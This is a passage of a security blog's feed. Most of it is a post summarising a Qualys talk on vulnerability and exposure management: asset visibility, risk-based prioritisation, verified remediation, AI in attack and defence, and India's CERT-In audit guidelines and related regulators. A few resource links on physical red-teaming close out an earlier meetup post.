<li class=""><a href="https://darknetdiaries.com/" target="_blank" rel="noopener noreferrer" class="">Darknet Diaries Podcast</a> - Essential listening for physical red-teaming stories. Check out <strong>Ep 134: Deviant</strong> (featuring Deviant Ollam sharing stories of physical bypasses, lockpicking, and social engineering), <strong>Ep 90: Jenny</strong> (about physical penetration tester Jenny Radcliffe), <strong>Ep 40: No Parking</strong>, and <strong>Ep 41: Just Visiting</strong>.</li>
<li class=""><a href="https://www.social-engineer.org/framework/general-discussion/" target="_blank" rel="noopener noreferrer" class="">Social-Engineer.org (SEORG) Framework</a> - An open-source framework mapping out the dark arts of human hacking, pretexting, and rapport building.</li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="K8s" term="K8s"/>
        <category label="Kubernetes" term="Kubernetes"/>
        <category label="Containers" term="Containers"/>
        <category label="Pods" term="Pods"/>
        <category label="Social-Engineering" term="Social-Engineering"/>
        <category label="Physical-Pentesting" term="Physical-Pentesting"/>
        <category label="Psychology" term="Psychology"/>
        <category label="HTB-Mumbai-Meetup-Summary" term="HTB-Mumbai-Meetup-Summary"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Surviving CERT-In's 12-Hour SLA Without Mythos]]></title>
        <id>https://blog.haxnation.org/vulnerability-management</id>
        <link href="https://blog.haxnation.org/vulnerability-management"/>
        <updated>2026-07-17T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of talk held by Qualys titled Surviving CERT-In's 12-Hour SLA Without Mythos on 1st July 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of talk held by Qualys titled <em>Surviving CERT-In's 12-Hour SLA Without Mythos</em> on 1st July 2026.</p>
<p>Picture this: your security team closes 40,000 more vulnerability tickets this year than last year. On paper, that's a win. The charts trend the right way, the quarterly review goes smoothly, everyone claps.</p>
<p>Except attackers didn't get 40,000 fewer ways in. If anything, they got more.</p>
<p>That's not a rhetorical setup. It's what the numbers actually show. Research analyzing over a billion resolved vulnerability records tracked against the US government's Known Exploited Vulnerabilities (KEV) catalog, spanning more than 10,000 organizations from 2022 to 2025, found that the sheer volume of vulnerabilities closed grew 6.5x, from 73 million in 2022 to 473 million in 2025. Risk didn't shrink to match it. The share of critical vulnerabilities still sitting open a week after discovery actually rose, from 56% to 63%.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-1-7d36bb" id="user-content-fnref-1-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">1</a></sup></p>
<p>Read that twice. Teams are working harder than ever and losing ground.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="closing-tickets-isnt-the-same-as-closing-risk">Closing Tickets Isn't the Same as Closing Risk<a href="https://blog.haxnation.org/vulnerability-management#closing-tickets-isnt-the-same-as-closing-risk" class="hash-link" aria-label="Direct link to Closing Tickets Isn't the Same as Closing Risk" title="Direct link to Closing Tickets Isn't the Same as Closing Risk" translate="no">​</a></h2>
<p>Here's the quiet lie most vulnerability management programs run on: a closed ticket means the problem is gone. It usually doesn't. A patch can get deployed and still leave the underlying attack path wide open. A "critical" CVE score can flag a system nobody could actually exploit, while a "medium" sits ignored on the one server an attacker cares about most.</p>
<p>CVSS tells you how bad a flaw could theoretically be. It says nothing about whether anyone can actually reach it, whether it sits in front of your crown-jewel systems, or whether a threat actor is using it right now. Independent research on the CISA KEV catalog has found that around 12% of confirmed, actively exploited vulnerabilities carry a CVSS score below 7.0, the threshold many organizations use to decide what even gets triaged.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-2-7d36bb" id="user-content-fnref-2-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">2</a></sup> Treat every finding the same way and you end up busy instead of safe, which is exactly what the 6.5x number above shows happening industry-wide.</p>
<p>There's a second, quieter problem underneath this one: most teams don't actually know what they're protecting in the first place. You can't triage what you can't see. Before prioritization, before remediation, before any of the rest of this, there's a visibility problem that has to get solved first.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="you-cant-protect-what-you-cant-see">You Can't Protect What You Can't See<a href="https://blog.haxnation.org/vulnerability-management#you-cant-protect-what-you-cant-see" class="hash-link" aria-label="Direct link to You Can't Protect What You Can't See" title="Direct link to You Can't Protect What You Can't See" translate="no">​</a></h2>
<p>Most enterprises don't have a clean asset list. Not really. There's a cloud instance a product team spun up without a ticket. An old on-prem box nobody remembers provisioning. A contractor's laptop still sitting on the VPN six months after the contract ended. A shadow AI tool someone installed to "just try it out" that's now quietly connected to internal data.</p>
<p>Real visibility means pulling from everywhere at once, not from a single scanner running a monthly sweep. A serious inventory has to account for:</p>
<ul>
<li class=""><strong>Applications and cloud repositories</strong>, including the ones spun up outside formal change control</li>
<li class=""><strong>OT/IoT devices</strong>, often invisible to traditional IT scanning</li>
<li class=""><strong>Internet-facing systems and cloud services</strong>, the stuff attackers find first</li>
<li class=""><strong>On-prem and known IT assets</strong>, the traditional core, still worth getting right</li>
<li class=""><strong>Identity</strong>, meaning users, service accounts, and the access tied to each</li>
<li class=""><strong>Third-party and vendor-connected assets</strong>, risk you don't own but still inherit</li>
<li class=""><strong>Containers and ephemeral workloads</strong>, assets that might exist for hours, not months</li>
<li class=""><strong>Unknown or rogue assets</strong>, the ones nobody registered at all</li>
</ul>
<p>Getting the full picture usually means combining several detection methods too: native agents and scanners, integration with whatever configuration management database the business already runs on, external attack surface scanning to see what the outside world can see, passive sensors to catch unmanaged devices that active scanning misses, and signal pulled from whatever other security tools are already watching pieces of the estate.</p>
<p>None of this matters without business context, though. A raw asset list just tells you what exists. What actually drives prioritization is layering in:</p>
<ul>
<li class=""><strong>Business role and criticality</strong>: is this system tied to revenue, customer data, or core operations?</li>
<li class=""><strong>Technical debt</strong>: is it running something end-of-life or end-of-support?</li>
<li class=""><strong>Missing controls</strong>: does it have the security tooling it should, or has something quietly been skipped?</li>
</ul>
<p>Here's what that looks like in practice. Take a single cloud instance running a payment gateway application. As a bare vulnerability finding, it's one line in a spreadsheet, forgettable. Add context and it stops being forgettable fast: this is a Tier 1 critical system tied directly to revenue, it's running an unsupported, end-of-life web server, it has unauthorized remote-access software installed, it has no endpoint detection deployed, and its remote desktop port is exposed to the open internet. That's not a ticket anymore. That's the thing that should be keeping your CISO up at night, and now you actually know it exists.</p>
<p>A mature program also needs to extend that same visibility beyond traditional IT, into a few areas that get overlooked constantly:</p>
<ul>
<li class=""><strong>Software supply chain transparency</strong>: knowing what's actually inside the software you run and ship, continuously, not just at audit time</li>
<li class=""><strong>AI system governance</strong>: discovering every AI model and workload in use, including shadow AI nobody approved, and testing those systems against adversarial manipulation the same way you'd test any other application</li>
<li class=""><strong>Application and API security</strong>: covering the full lifecycle from code to production, not just the perimeter</li>
<li class=""><strong>Configuration drift detection</strong>: catching the moment a hardened system quietly slides out of its secure baseline</li>
<li class=""><strong>Identity attack path mapping</strong>: finding directory misconfigurations, stale accounts, and privilege escalation chains before someone else does</li>
<li class=""><strong>Data residency</strong>: for regulated markets, knowing exactly where your logs and incident data physically live, and whether that satisfies local law (more on why this specifically matters in India further down)</li>
</ul>
<p>That's the actual job of prioritization: not ranking CVEs by severity, but ranking exposures, real ones, on real systems, tied to real business consequences.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="risk-is-just-money-wearing-a-disguise">Risk Is Just Money Wearing a Disguise<a href="https://blog.haxnation.org/vulnerability-management#risk-is-just-money-wearing-a-disguise" class="hash-link" aria-label="Direct link to Risk Is Just Money Wearing a Disguise" title="Direct link to Risk Is Just Money Wearing a Disguise" translate="no">​</a></h2>
<p>Security teams love talking about severity. Boards don't care about severity. They care about money, and honestly, they're right to.</p>
<p>There's a simple way to think about this:</p>
<p><strong>Risk = Time exposed × Severity × What's actually at stake</strong></p>
<p>The variable almost nobody tracks is time, specifically, how long a known, exploitable flaw sits open before someone actually closes it. Call it your window of exposure. It's one of the better predictors of whether your program is working, and most companies have no real idea what theirs is.</p>
<p>Where it lands makes a real difference. Programs built around verified, closed-loop remediation, where a fix isn't considered done until it's re-tested and confirmed, report average exposure windows around 18 days. The typical enterprise, running a standard ticket-and-hope process, sits closer to 67 days.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-1-7d36bb" id="user-content-fnref-1-7d36bb-2" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">1</a></sup></p>
<p>Every extra day in that gap isn't just a metric problem. It's a bill waiting to arrive. India recorded the highest average cost of a data breach anywhere in the world in 2025, at ₹22 crore (INR 220 million), a 13% jump from the year before.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-3-7d36bb" id="user-content-fnref-3-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">3</a></sup> Incidents where shadow AI played a role cost an additional ₹1.79 crore on average, and it was among the top three cost drivers identified in the same research.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-3-7d36bb" id="user-content-fnref-3-7d36bb-2" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">3</a></sup> Every day you shave off that exposure window is, quite literally, rupees taken off the table.</p>
<p>If you want your CFO to actually listen in the next budget meeting, stop leading with vulnerability counts. Lead with what an open exposure is costing the business, per day, in currency they recognize. This is the shift a lot of security leaders still haven't made: moving from talking about attack surface to talking about risk surface, measuring cyber risk the same way the rest of the business measures everything else, in terms of probable loss, and reporting it in language a board can act on without a translator.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="prove-its-actually-fixed">Prove It's Actually Fixed<a href="https://blog.haxnation.org/vulnerability-management#prove-its-actually-fixed" class="hash-link" aria-label="Direct link to Prove It's Actually Fixed" title="Direct link to Prove It's Actually Fixed" translate="no">​</a></h2>
<p>Good programs don't stop at "we patched it." They run something closer to a four-step loop:</p>
<ol>
<li class=""><strong>Pick what matters</strong>, using business criticality and real threat activity, not a raw severity score alone</li>
<li class=""><strong>Check if it's actually exploitable</strong>, by running safe, controlled exploit checks against the real environment, not a lab. The answer should be binary: exploitable here, with these controls, or not</li>
<li class=""><strong>Weigh the fix carefully</strong>, because a bad patch causing an outage is its own kind of risk. Mature programs score patches for reliability, built from a large historical base of prior deployments, before pushing anything out at scale</li>
<li class=""><strong>Prove the door is shut</strong>, by re-testing after remediation and generating real evidence, ideally something tamper-proof, that the exploit path is genuinely closed</li>
</ol>
<p>That last step is the one almost everyone skips. A closed ticket says a task got done. A verified fix says the risk is gone. Those aren't the same claim, and only one of them should let you sleep at night. The service-level agreement that actually matters isn't "ticket closed." It's "exploit path confirmed closed," and very few programs measure against that bar today.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="manual-remediation-doesnt-scale-anymore">Manual Remediation Doesn't Scale Anymore<a href="https://blog.haxnation.org/vulnerability-management#manual-remediation-doesnt-scale-anymore" class="hash-link" aria-label="Direct link to Manual Remediation Doesn't Scale Anymore" title="Direct link to Manual Remediation Doesn't Scale Anymore" translate="no">​</a></h2>
<p>Once you know what to fix, "how" becomes the bottleneck. Most organizations still route every fix through a human decision, and there simply aren't enough hours in the week for that anymore at the volume modern estates generate. A smarter approach maps each exposure to whichever action actually fits, automatically:</p>
<ul>
<li class=""><strong>Patch it</strong>, across Windows, macOS, Linux, and third-party apps, with zero-touch automation for the low-risk cases and a reliability check before anything ships broadly</li>
<li class=""><strong>Remove it</strong>, uninstalling bloatware or unused software that's quietly widening the attack surface, based on actual usage and dependency data rather than guesswork</li>
<li class=""><strong>Mitigate it</strong>, reducing exposure when no patch exists yet, or when patching carries too much operational risk to push immediately</li>
<li class=""><strong>Script around it</strong>, using pre-built scripts for the messy, recurring cases, or custom ones built for first-party applications that don't fit a standard playbook</li>
<li class=""><strong>Isolate it</strong>, as a genuine last resort, containing a high-risk device from the rest of the network while it gets patched remotely</li>
</ul>
<p>None of this replaces judgment. It replaces the assumption that every single fix needs a person to manually decide, ticket, assign, chase, and confirm by hand, an assumption that simply doesn't hold up against a 6.5x increase in remediation volume.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ai-is-changing-both-sides-of-this-fight">AI Is Changing Both Sides of This Fight<a href="https://blog.haxnation.org/vulnerability-management#ai-is-changing-both-sides-of-this-fight" class="hash-link" aria-label="Direct link to AI Is Changing Both Sides of This Fight" title="Direct link to AI Is Changing Both Sides of This Fight" translate="no">​</a></h2>
<p>It's worth being honest about where AI actually fits into all this, because it cuts both ways.</p>
<p>On the defensive side, mature platforms are increasingly running a mix of AI models rather than betting on one: lightweight, efficient models handling high-volume routine automation, and larger reasoning-focused models brought in for genuinely complex analysis, where cost matters less than getting the right answer. There's also a growing pattern of security vendors partnering directly with AI research labs on distinctly offensive-adjacent use cases, applied defensively: vulnerability research, zero-day discovery, exploit development, malware reverse engineering, and red teaming. Essentially, the same capabilities attackers are developing get pointed inward first, before someone else points them at you.</p>
<p>That same shift is reaching further left into the development pipeline too. AI-assisted static code analysis is increasingly feeding straight into vulnerability management: findings from source code get imported automatically, runtime context gets applied to prioritize what actually matters, and the resulting list gets patched in order of real risk rather than however the code scanner happened to sort it.</p>
<p>The uncomfortable flip side is that attackers are using the same category of tools to move faster too: faster reconnaissance, faster exploit development, more convincing social engineering. This isn't a distant concern either. In May 2026, India's insurance regulator directed every insurer in the country to submit a formal action-taken report on their AI cyber readiness, specifically citing the risk of frontier AI systems being used to accelerate attacks.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-4-7d36bb" id="user-content-fnref-4-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">4</a></sup> AI hasn't changed what good security fundamentals look like. It's just made the cost of skipping them higher, and the timeline for getting caught shorter.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-part-most-programs-are-missing-regulators-want-exactly-the-same-thing">The Part Most Programs Are Missing: Regulators Want Exactly the Same Thing<a href="https://blog.haxnation.org/vulnerability-management#the-part-most-programs-are-missing-regulators-want-exactly-the-same-thing" class="hash-link" aria-label="Direct link to The Part Most Programs Are Missing: Regulators Want Exactly the Same Thing" title="Direct link to The Part Most Programs Are Missing: Regulators Want Exactly the Same Thing" translate="no">​</a></h2>
<p>This is where it stops being optional.</p>
<p>On July 25, 2025, India's national cybersecurity agency, CERT-In, released a sweeping new set of Comprehensive Cyber Security Audit Policy Guidelines, and they read like someone took everything above and wrote it into law.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-5-7d36bb" id="user-content-fnref-5-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">5</a></sup> Every organization, public or private, that owns or runs digital systems now has to undergo a full cybersecurity audit of its ICT systems at least once a year. Not a checkbox review. A real one.</p>
<p>A few details matter more than the rest:</p>
<ul>
<li class=""><strong>You must maintain a live inventory of every authorized asset</strong>, hardware and software both, with proper patch management behind it. Legacy systems can no longer be waved away as "out of scope." They have to be documented, with a formal, signed-off risk exception if they're staying as they are.</li>
<li class=""><strong>Every finding needs two scores, not one</strong>: traditional severity, plus a real-world likelihood-of-exploitation score, mapped back to standard weakness and vulnerability identifiers.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-6-7d36bb" id="user-content-fnref-6-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">6</a></sup> That's the same "don't just trust the CVSS number" logic good remediation programs already run on, now written into a compliance requirement.</li>
<li class=""><strong>Audit reports must translate technical findings into business risk for top management.</strong> Dashboards and jargon aren't good enough anymore. Risk has to be understandable, and quantifiable, to people who don't read CVE identifiers for a living.</li>
<li class=""><strong>Senior management now has to review audit scopes, approve remediation actions, and own the security posture directly.</strong> There's no more delegating that accountability quietly down to an engineer's backlog.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-7-7d36bb" id="user-content-fnref-7-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">7</a></sup></li>
<li class=""><strong>Scope now spans the entire digital estate</strong>: IT systems, operational technology, cloud, APIs, databases, source code, and incident response, across development, staging, and production environments alike.</li>
<li class=""><strong>Software, and increasingly AI, bill-of-materials audits are part of the picture too</strong>, checking for transparency and traceability across the supply chain, not just the application layer.</li>
<li class="">Non-compliance carries real teeth. Auditors who repeatedly miss things can be suspended from CERT-In's approved list, and organizations remain on the hook under the older, still fully active 2022 Directions running alongside this: 6-hour incident reporting and 180-day log retention.<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-8-7d36bb" id="user-content-fnref-8-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">8</a></sup></li>
</ul>
<p>Read between the lines and the message is blunt: if you don't already know your assets, understand your real exposure, and can translate it into terms a non-technical executive would sign their name to, you are not audit-ready. You're improvising under a legal deadline, with a compliance officer explaining to the board why they're about to personally attest to risk nobody actually measured.</p>
<p>Organizations that already run mature vulnerability management, with full asset visibility, validated exposure data, and business-risk framing baked into every report, walk into this kind of audit with most of the hard work already done. Everyone else is building the plane while it's already being inspected mid-flight.</p>
<p>And CERT-In isn't the only regulator with a clock running. Indian security leaders answer to a stack, not a single body:</p>

































<table><thead><tr><th>Regulator</th><th>What it actually requires</th></tr></thead><tbody><tr><td><strong>CERT-In</strong></td><td>6-hour incident reporting and 180-day log retention under the 2022 Directions, plus the 2025 audit guidelines above<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-8-7d36bb" id="user-content-fnref-8-7d36bb-2" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">8</a></sup></td></tr><tr><td><strong>DPDP Act</strong></td><td>Rules notified in November 2025, with core obligations phasing in through May 2027, carrying its own breach-notification duties<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-9-7d36bb" id="user-content-fnref-9-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">9</a></sup></td></tr><tr><td><strong>RBI</strong></td><td>IT governance directions for banks and NBFCs requiring a 6-hour initial report plus a 21-day root cause analysis, filed through its Centralised Information Management System<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-10-7d36bb" id="user-content-fnref-10-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">10</a></sup></td></tr><tr><td><strong>SEBI</strong></td><td>A cyber resilience framework built around anticipate, withstand, contain, recover, and evolve, with mandatory vulnerability assessment and penetration testing<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-11-7d36bb" id="user-content-fnref-11-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">11</a></sup></td></tr><tr><td><strong>IRDAI</strong></td><td>An AI cyber-readiness action-taken report required from every insurer, due May 2026<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-4-7d36bb" id="user-content-fnref-4-7d36bb-2" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">4</a></sup></td></tr><tr><td><strong>NCIIPC</strong></td><td>Incident reporting duties for operators of designated critical information infrastructure, layered on top of CERT-In's national reporting clock<sup><a href="https://blog.haxnation.org/vulnerability-management#user-content-fn-12-7d36bb" id="user-content-fnref-12-7d36bb" data-footnote-ref="" aria-describedby="footnote-label" class="anchorTargetStickyNavbar_Vzrq">12</a></sup></td></tr></tbody></table>
<p>The good news, if there is one: every requirement in that stack, asset visibility, exploitability context, business-risk framing, proof of remediation, is exactly what a well-run vulnerability management program produces anyway. Build it for the business case, and you've basically built it for the regulators too. Treat compliance and good security as two separate projects, and you'll end up doing the work twice.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-basics-still-matter-even-with-ai-in-the-mix">The Basics Still Matter, Even With AI in the Mix<a href="https://blog.haxnation.org/vulnerability-management#the-basics-still-matter-even-with-ai-in-the-mix" class="hash-link" aria-label="Direct link to The Basics Still Matter, Even With AI in the Mix" title="Direct link to The Basics Still Matter, Even With AI in the Mix" translate="no">​</a></h2>
<p>As attackers lean harder on AI to speed things up, the fundamentals don't change. They just get less optional.</p>
<ul>
<li class=""><strong>Assume you'll get breached.</strong> Build for rapid detection, containment, and recovery, backed by continuous monitoring, network segmentation, solid telemetry, and breach simulations run often enough that they're not a surprise when it's real.</li>
<li class=""><strong>Trust nothing by default.</strong> Strong identity security, micro-segmentation, and conditional access policies that actually monitor sessions in real time, not just at the login screen.</li>
<li class=""><strong>Layer your defenses.</strong> Infrastructure, applications, identities, cloud environments, AI systems, and data loss prevention all need protecting, tied together with integrated monitoring instead of running as disconnected silos.</li>
<li class=""><strong>Never stop watching.</strong> Always-on attack surface monitoring, automated vulnerability scanning, cloud posture assessments, and, critically, immediate validation that a fix actually worked, not just that it was deployed.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-this-actually-leaves-you">Where This Actually Leaves You<a href="https://blog.haxnation.org/vulnerability-management#where-this-actually-leaves-you" class="hash-link" aria-label="Direct link to Where This Actually Leaves You" title="Direct link to Where This Actually Leaves You" translate="no">​</a></h2>
<p>Stop measuring your security program by how many tickets it closes. Start measuring it by how few days a real, exploitable risk sits open, what that number is costing you in rupees rather than reputation, and whether you could hand a regulator your asset list tomorrow without flinching.</p>
<p>The regulators just made all three of those mandatory. You might as well get ahead of it.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="sources">Sources<a href="https://blog.haxnation.org/vulnerability-management#sources" class="hash-link" aria-label="Direct link to Sources" title="Direct link to Sources" translate="no">​</a></h3>
<!-- -->
<section data-footnotes="" class="footnotes"><h2 class="anchor anchorTargetStickyNavbar_Vzrq sr-only" id="footnote-label">Footnotes<a href="https://blog.haxnation.org/vulnerability-management#footnote-label" class="hash-link" aria-label="Direct link to Footnotes" title="Direct link to Footnotes" translate="no">​</a></h2>
<ol>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-1-7d36bb">
<p>Qualys Threat Research Unit, "The Broken Physics of Remediation" (2026), based on analysis of over 1 billion CISA KEV remediation records across 10,000+ organizations, 2022 to 2025. <a href="https://cdn2.qualys.com/docs/mktg/qualys-tru-the-broken-physics-of-remediation.pdf" target="_blank" rel="noopener noreferrer" class="">Report PDF</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-1-7d36bb" data-footnote-backref="" aria-label="Back to reference 1" class="data-footnote-backref">↩</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-1-7d36bb-2" data-footnote-backref="" aria-label="Back to reference 1-2" class="data-footnote-backref">↩<sup>2</sup></a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-2-7d36bb">
<p>Nucleus Security, research on CISA KEV catalog and CVSS scoring gaps (2022). <a href="https://businesswire.com/news/home/20221101005302/en/Nucleus-Security-Releases-Free-CISA-KEV-Enrichment-Dashboard-and-Research-Providing-Further-Insight-Into-Vulnerability-Prioritization" target="_blank" rel="noopener noreferrer" class="">Businesswire release</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-2-7d36bb" data-footnote-backref="" aria-label="Back to reference 2" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-3-7d36bb">
<p>IBM, "Cost of a Data Breach Report 2025" (India findings), published August 7, 2025. <a href="https://in.newsroom.ibm.com/2025-08-07-India-Records-Highest-Average-Cost-of-a-Data-Breach-IBM" target="_blank" rel="noopener noreferrer" class="">IBM Newsroom</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-3-7d36bb" data-footnote-backref="" aria-label="Back to reference 3" class="data-footnote-backref">↩</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-3-7d36bb-2" data-footnote-backref="" aria-label="Back to reference 3-2" class="data-footnote-backref">↩<sup>2</sup></a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-4-7d36bb">
<p>Reporting on IRDAI's May 2026 directive to insurers on AI cyber-readiness action-taken reports. <a href="https://www.insurancebusinessmag.com/asia/news/cyber/three-days-to-aiproof-india-hands-insurers-an-emergency-cyberreadiness-deadline-575682.aspx" target="_blank" rel="noopener noreferrer" class="">Insurance Business Magazine</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-4-7d36bb" data-footnote-backref="" aria-label="Back to reference 4" class="data-footnote-backref">↩</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-4-7d36bb-2" data-footnote-backref="" aria-label="Back to reference 4-2" class="data-footnote-backref">↩<sup>2</sup></a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-5-7d36bb">
<p>CERT-In, "Comprehensive Cyber Security Audit Policy Guidelines," Version 1.0, July 25, 2025. <a href="https://www.cert-in.org.in/PDF/Comprehensive_Cyber_Security_Audit_Policy_Guidelines.pdf" target="_blank" rel="noopener noreferrer" class="">Official PDF</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-5-7d36bb" data-footnote-backref="" aria-label="Back to reference 5" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-6-7d36bb">
<p>Legal analysis of the CERT-In 2025 audit guidelines' dual CVSS/EPSS scoring and CWE/CVE mapping requirements. <a href="https://www.azbpartners.com/bank/strengthening-indias-cyber-defence-cert-ins-new-cyber-security-audit-guidelines-decoded/" target="_blank" rel="noopener noreferrer" class="">AZB &amp; Partners</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-6-7d36bb" data-footnote-backref="" aria-label="Back to reference 6" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-7-7d36bb">
<p>Summary of senior-management accountability provisions under the 2025 CERT-In audit guidelines. <a href="https://seconize.co/blog/cert-ins-comprehensive-cyber-security-audit-policy-guidelines/" target="_blank" rel="noopener noreferrer" class="">Seconize</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-7-7d36bb" data-footnote-backref="" aria-label="Back to reference 7" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-8-7d36bb">
<p>Overview of CERT-In's April 2022 Directions on 6-hour incident reporting and 180-day log retention. <a href="https://creativecyber.in/resources/cert-in-6-hour-incident-reporting/" target="_blank" rel="noopener noreferrer" class="">CreativeCyber</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-8-7d36bb" data-footnote-backref="" aria-label="Back to reference 8" class="data-footnote-backref">↩</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-8-7d36bb-2" data-footnote-backref="" aria-label="Back to reference 8-2" class="data-footnote-backref">↩<sup>2</sup></a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-9-7d36bb">
<p>Digital Personal Data Protection Rules, 2025, notified by MeitY on November 13/14, 2025. <a href="https://en.wikipedia.org/wiki/Digital_Personal_Data_Protection_Rules,_2025" target="_blank" rel="noopener noreferrer" class="">Wikipedia summary with primary PIB citation</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-9-7d36bb" data-footnote-backref="" aria-label="Back to reference 9" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-10-7d36bb">
<p>Overview of RBI's Master Direction on IT Governance, Risk, Controls and Assurance Practices, and CIMS reporting timelines. <a href="https://www.cybernx.com/how-to-draft-board-approved-it-cybersecurity-policy-rbi-master-direction/" target="_blank" rel="noopener noreferrer" class="">CyberNX</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-10-7d36bb" data-footnote-backref="" aria-label="Back to reference 10" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-11-7d36bb">
<p>SEBI Cybersecurity and Cyber Resilience Framework (CSCRF), issued August 20, 2024. <a href="https://cybersigmacs.com/knowledge-center/sebi-cscrf/" target="_blank" rel="noopener noreferrer" class="">CyberSigma summary</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-11-7d36bb" data-footnote-backref="" aria-label="Back to reference 11" class="data-footnote-backref">↩</a></p>
</li>
<li class="anchorTargetStickyNavbar_Vzrq" id="user-content-fn-12-7d36bb">
<p>National Critical Information Infrastructure Protection Centre, mandate and incident reporting role under Section 70A of the IT Act. <a href="https://en.wikipedia.org/wiki/National_Critical_Information_Infrastructure_Protection_Centre" target="_blank" rel="noopener noreferrer" class="">Wikipedia</a> <a href="https://blog.haxnation.org/vulnerability-management#user-content-fnref-12-7d36bb" data-footnote-backref="" aria-label="Back to reference 12" class="data-footnote-backref">↩</a></p>
</li>
</ol>
</section>]]></content>
        <author>
            <name>Ayushya Shah</name>
            <uri>https://github.com/A-Y-U-S-H-Y-A</uri>
        </author>
        <category label="vulnerability-management" term="vulnerability-management"/>
        <category label="exposure-management" term="exposure-management"/>
        <category label="patch-management" term="patch-management"/>
        <category label="attack-surface-management" term="attack-surface-management"/>
        <category label="risk-management" term="risk-management"/>
        <category label="asset-management" term="asset-management"/>
        <category label="CVSS" term="CVSS"/>
        <category label="EPSS" term="EPSS"/>
        <category label="CISA-KEV" term="CISA-KEV"/>
        <category label="CERT-In" term="CERT-In"/>
        <category label="cyber-resilience" term="cyber-resilience"/>
        <category label="compliance" term="compliance"/>
        <category label="AI-security" term="AI-security"/>
        <category label="cloud-security" term="cloud-security"/>
        <category label="application-security" term="application-security"/>
